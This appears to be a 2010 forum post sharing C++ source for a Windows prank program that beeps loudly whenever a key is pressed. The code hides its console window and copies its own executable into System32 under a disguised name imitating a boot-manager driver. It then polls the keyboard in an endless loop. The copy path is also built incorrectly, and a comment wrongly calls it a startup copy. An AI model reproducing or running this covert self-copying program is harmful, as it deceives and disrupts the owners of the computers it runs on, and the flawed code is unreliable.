Despite the title name, this program has nothing to do with Mario. I just named it because I originally wanted it to play the Mario theme song. This program will make the computer beep quite loudly and annoyingly every time you press a key. Its great to keep people from messing with your computer while you are away for a short time.
P.S. This was before I learned switch statements. So the code will be a tad longer than needed.
Code:#include <windows.h> using namespace std; int main(int argc,char **argv) { char UserName[100], CurrentLocation[100]; HWND hide; AllocConsole(); hide = FindWindowA("ConsoleWindowClass", NULL); ShowWindow(hide, 0); //Hides window strcpy(CurrentLocation, argv[0]); DWORD nUserName = sizeof(UserName); //Collects User name GetUserName(UserName, &nUserName); char Clocation[100] = "C:\\WINDOWS\\System32"; char EndLocation[100] = "\\drivers\\bootmgr32.sys.exe"; strcat(Clocation, UserName); strcat(Clocation, EndLocation); // Copys file to startup menu CopyFile(CurrentLocation, Clocation, 0); for(;;) { if(GetAsyncKeyState('A') || GetAsyncKeyState('a')){ Beep(800,300); Beep(100,400); Beep(600,200); Beep(100,700); Beep(500,600); Beep(100,500); } if(GetAsyncKeyState('B') || GetAsyncKeyState('b')) { Beep(567,300); Beep(333,400); Beep(482,200); Beep(100,700); Beep(409,600); Beep(1200,500); } if(GetAsyncKeyState('C') || GetAsyncKeyState('c')) { Beep(567,300); Beep(333,400); Beep(555,200); Beep(100,700); Beep(400,600); Beep(1200,500); } if(GetAsyncKeyState('D') || GetAsyncKeyState('d')) { Beep(567,300); Beep(333,400); Beep(555,200); Beep(100,700); Beep(400,600); Beep(1200,500); } if(GetAsyncKeyState('E') || GetAsyncKeyState('e')) { Beep(567,300); Beep(333,400); Beep(555,200); Beep(100,700); Beep(400,600); Beep(1200,500); } if(GetAsyncKeyState('F') || GetAsyncKeyState('f')) { Beep(567,300); Beep(333,400); Beep(555,200); Beep(100,700); Beep(400,600); Beep(1200,500); } if(GetAsyncKeyState('G') || GetAsyncKeyState('g')) { Beep(567,300); Beep(333,400); Beep(555,200); Beep(100,700); Beep(400,600); Beep(1200,500); } if(GetAsyncKeyState('H') || GetAsyncKeyState('h')) { Beep(567,300); Beep(333,400); Beep(555,200); Beep(100,700); Beep(400,600); Beep(1200,500); } if(GetAsyncKeyState('I') || GetAsyncKeyState('i')) { Beep(567,300); Beep(333,400); Beep(555,200); Beep(100,700); Beep(400,600); Beep(1200,500); } if(GetAsyncKeyState('J') || GetAsyncKeyState('j')) { Beep(567,300); Beep(333,400); Beep(555,200); Beep(100,700); Beep(400,600); Beep(1200,500); } if(GetAsyncKeyState('K') || GetAsyncKeyState('k')) { Beep(567,300); Beep(333,400); Beep(555,200); Beep(100,700); Beep(400,600); Beep(1200,500); } if(GetAsyncKeyState('L') || GetAsyncKeyState('l')) { Beep(567,300); Beep(333,400); Beep(555,200); Beep(100,700); Beep(400,600); Beep(1200,500); } if(GetAsyncKeyState('M') || GetAsyncKeyState('m')) { Beep(567,300); Beep(333,400); Beep(555,200); Beep(100,700); Beep(400,600); Beep(1200,500); } if(GetAsyncKeyState('N') || GetAsyncKeyState('n')) { Beep(567,300); Beep(333,400); Beep(555,200); Beep(100,700); Beep(400,600); Beep(1200,500); } if(GetAsyncKeyState('O') || GetAsyncKeyState('o')) { Beep(567,300); Beep(333,400); Beep(555,200); Beep(100,700); Beep(400,600); Beep(1200,500); } if(GetAsyncKeyState('P') || GetAsyncKeyState('p')) { Beep(567,300); Beep(333,400); Beep(555,200); Beep(100,700); Beep(400,600); Beep(1200,500); } if(GetAsyncKeyState('Q') || GetAsyncKeyState('q')) { Beep(567,300); Beep(333,400); Beep(555,200); Beep(100,700); Beep(400,600); Beep(1200,500); } if(GetAsyncKeyState('R') || GetAsyncKeyState('r')) { Beep(567,300); Beep(333,400); Beep(555,200); Beep(100,700); Beep(400,600); Beep(1200,500); } if(GetAsyncKeyState('S') || GetAsyncKeyState('s')) { Beep(567,300); Beep(333,400); Beep(555,200); Beep(100,700); Beep(400,600); Beep(1200,500); } if(GetAsyncKeyState('T') || GetAsyncKeyState('t')) { Beep(567,300); Beep(333,400); Beep(555,200); Beep(100,700); Beep(400,600); Beep(1200,500); } if(GetAsyncKeyState('U') || GetAsyncKeyState('u')) { Beep(567,300); Beep(333,400); Beep(555,200); Beep(100,700); Beep(400,600); Beep(1200,500); } if(GetAsyncKeyState('V') || GetAsyncKeyState('v')) { Beep(567,300); Beep(333,400); Beep(555,200); Beep(100,700); Beep(400,600); Beep(1200,500); } if(GetAsyncKeyState('W') || GetAsyncKeyState('w')) { Beep(567,300); Beep(333,400); Beep(555,200); Beep(100,700); Beep(400,600); Beep(1200,500); } if(GetAsyncKeyState('X') || GetAsyncKeyState('x')) { Beep(567,300); Beep(333,400); Beep(555,200); Beep(100,700); Beep(400,600); Beep(1200,500); } if(GetAsyncKeyState('Y') || GetAsyncKeyState('y')) { Beep(567,300); Beep(333,400); Beep(555,200); Beep(100,700); Beep(400,600); Beep(1200,500); } if(GetAsyncKeyState('Z') || GetAsyncKeyState('z')) { Beep(567,300); Beep(333,400); Beep(555,200); Beep(100,700); Beep(400,600); Beep(1200,500); } if(GetAsyncKeyState(',') || GetAsyncKeyState('<')) { Beep(567,300); Beep(333,400); Beep(555,200); Beep(100,700); Beep(400,600); Beep(1200,500); } if(GetAsyncKeyState('.') || GetAsyncKeyState('>')) { Beep(567,300); Beep(333,400); Beep(555,200); Beep(100,700); Beep(400,600); Beep(1200,500); } if(GetAsyncKeyState(';') || GetAsyncKeyState(':')) { Beep(567,300); Beep(333,400); Beep(555,200); Beep(100,700); Beep(400,600); Beep(1200,500); } if(GetAsyncKeyState('`') || GetAsyncKeyState('~')) { Beep(567,300); Beep(333,400); Beep(555,200); Beep(100,700); Beep(400,600); Beep(1200,500); } if(GetAsyncKeyState('1') || GetAsyncKeyState('!')) { Beep(567,300); Beep(333,400); Beep(555,200); Beep(100,700); Beep(400,600); Beep(1200,500); } if(GetAsyncKeyState('2') || GetAsyncKeyState('@')) { Beep(567,300); Beep(333,400); Beep(555,200); Beep(100,700); Beep(400,600); Beep(1200,500); } if(GetAsyncKeyState('3') || GetAsyncKeyState('#')) { Beep(567,300); Beep(333,400); Beep(555,200); Beep(100,700); Beep(400,600); Beep(1200,500); } if(GetAsyncKeyState('4') || GetAsyncKeyState('$')) { Beep(567,300); Beep(333,400); Beep(555,200); Beep(100,700); Beep(400,600); Beep(1200,500); } if(GetAsyncKeyState('5') || GetAsyncKeyState('%')) { Beep(567,300); Beep(333,400); Beep(555,200); Beep(100,700); Beep(400,600); Beep(1200,500); } if(GetAsyncKeyState('6') || GetAsyncKeyState('^')) { Beep(567,300); Beep(333,400); Beep(555,200); Beep(100,700); Beep(400,600); Beep(1200,500); } if(GetAsyncKeyState('7') || GetAsyncKeyState('&')) { Beep(567,300); Beep(333,400); Beep(555,200); Beep(100,700); Beep(400,600); Beep(1200,500); } if(GetAsyncKeyState('8') || GetAsyncKeyState('*')) { Beep(567,300); Beep(333,400); Beep(555,200); Beep(100,700); Beep(400,600); Beep(1200,500); } } }
Results 1 to 1 of 1
Thread: [C++]Mario!
- 01 Jul. 2010 04:10pm #1
[C++]Mario!